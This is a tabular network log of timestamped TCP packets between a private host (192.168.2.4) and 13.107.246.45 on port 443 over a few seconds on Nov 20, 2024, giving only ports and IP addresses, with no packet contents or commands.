Nov 20, 2024 07:49:21.783444881 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.783492088 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.783763885 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.783785105 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.783812046 CET	49927	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.783826113 CET	443	49927	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.786576986 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.786611080 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.786691904 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.786854029 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.786864042 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.819084883 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.819204092 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.819273949 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.819456100 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.819484949 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.819502115 CET	49926	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.819509983 CET	443	49926	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.832551003 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.832609892 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.832703114 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.832878113 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.832894087 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.855369091 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.855648994 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.855726004 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.855880976 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.855901003 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.855915070 CET	49928	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.855920076 CET	443	49928	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.859157085 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.859199047 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.859287024 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.859471083 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.859482050 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.861917973 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.862009048 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.862057924 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.862060070 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.862109900 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.862241030 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.862248898 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.862260103 CET	49929	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.862263918 CET	443	49929	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.865061998 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.865103006 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:21.865174055 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.865314960 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:21.865328074 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.426282883 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.426878929 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.426898956 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.427484035 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.427489996 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.442420006 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.442890882 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.442955971 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.443422079 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.443438053 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.472501040 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.473115921 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.473136902 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.474034071 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.474041939 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.519078016 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.519642115 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.519658089 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.520190954 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.520196915 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.527374983 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.527677059 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.527715921 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.527724981 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.527740002 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.527790070 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.527816057 CET	49931	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.527827978 CET	443	49931	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.531094074 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.531130075 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.531186104 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.531547070 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.531563997 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.532334089 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.532685995 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.532697916 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.533166885 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.533173084 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.545480013 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.545607090 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.545676947 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.545754910 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.545799971 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.545845985 CET	49930	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.545862913 CET	443	49930	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.548638105 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.548656940 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.548718929 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.548866987 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.548876047 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.575341940 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.575400114 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.575459957 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.575649023 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.575666904 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.575680971 CET	49932	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.575686932 CET	443	49932	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.578416109 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.578448057 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.578499079 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.578633070 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.578644037 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.620831966 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.621387959 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.621438980 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.621495008 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.621519089 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.621535063 CET	49934	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.621542931 CET	443	49934	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.624883890 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.624898911 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.624954939 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.625119925 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.625125885 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.637904882 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.637978077 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.638048887 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.638299942 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.638349056 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.638380051 CET	49933	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.638396978 CET	443	49933	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.642456055 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.642544031 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:22.642625093 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.642796040 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:22.642823935 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.169090986 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.169728041 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.169790983 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.170340061 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.170356035 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.195187092 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.195727110 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.195753098 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.196293116 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.196300030 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.215648890 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.216181993 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.216212988 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.216648102 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.216654062 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.270004988 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.270612001 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.270694017 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.271117926 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.271166086 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.271197081 CET	49935	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.271213055 CET	443	49935	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.275015116 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.275042057 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.275187969 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.275331974 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.275336981 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.289756060 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.290287018 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.290314913 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.290760040 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.290766001 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.297653913 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.297874928 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.297964096 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.297991037 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.298007011 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.298017979 CET	49936	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.298022985 CET	443	49936	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.301093102 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.301137924 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.301220894 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.301356077 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.301364899 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.314974070 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.315064907 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.315109015 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.315177917 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.315629005 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.315646887 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.315676928 CET	49937	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.315682888 CET	443	49937	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.316145897 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.317158937 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.317169905 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.317805052 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.317809105 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.320085049 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.320128918 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.320230007 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.320493937 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.320523024 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.397171974 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.397265911 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.397469044 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.397600889 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.397617102 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.397629976 CET	49938	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.397634983 CET	443	49938	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.400588036 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.400649071 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.400979996 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.401141882 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.401154041 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.421206951 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.421650887 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.421708107 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.421750069 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.421824932 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.421906948 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.421952963 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.421998024 CET	49939	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.422013998 CET	443	49939	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.426034927 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.426081896 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.426301003 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.426505089 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.426516056 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.944593906 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.945221901 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.945240974 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.945887089 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.945893049 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.951014042 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.951766968 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.951832056 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.952586889 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.952601910 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.971862078 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.972559929 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.972579002 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:23.972994089 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:23.973004103 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043492079 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043596983 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043642998 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.043661118 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043714046 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043764114 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.043858051 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.043873072 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.043880939 CET	49941	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.043885946 CET	443	49941	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.046736002 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.046771049 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.046941042 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.047089100 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.047101021 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.060748100 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.061137915 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.061187983 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.061578989 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.061592102 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.076853991 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.077075005 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.077140093 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.077193975 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.077193975 CET	49942	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.077223063 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.077245951 CET	443	49942	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.078304052 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.078641891 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.078658104 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.079106092 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.079111099 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.079690933 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.079750061 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.079828978 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.079969883 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.079987049 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.121040106 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.121968031 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.125842094 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.125931025 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.125931025 CET	49940	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.125974894 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.126003981 CET	443	49940	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.128873110 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.128937006 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.129116058 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.129179001 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.129190922 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.161741018 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.161909103 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.161987066 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.162065983 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.162065983 CET	49944	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.162110090 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.162138939 CET	443	49944	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.164323092 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.164351940 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.164422989 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.164562941 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.164573908 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.182575941 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.182653904 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.182777882 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.182841063 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.182883024 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.182929993 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.182945013 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.182981014 CET	49943	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.182986021 CET	443	49943	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.185092926 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.185137033 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.185205936 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.185336113 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.185355902 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.685856104 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.686743975 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.686767101 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.687242031 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.687246084 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.728037119 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.728507042 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.728521109 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.728905916 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.728909969 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.765255928 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.765666962 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.765675068 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.766031981 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.766036034 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785178900 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785243034 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785351992 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.785362959 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785381079 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785434008 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.785643101 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.785655022 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.785665035 CET	49945	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.785670042 CET	443	49945	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.788676023 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.788707018 CET	443	49950	13.107.246.45	192.168.2.4
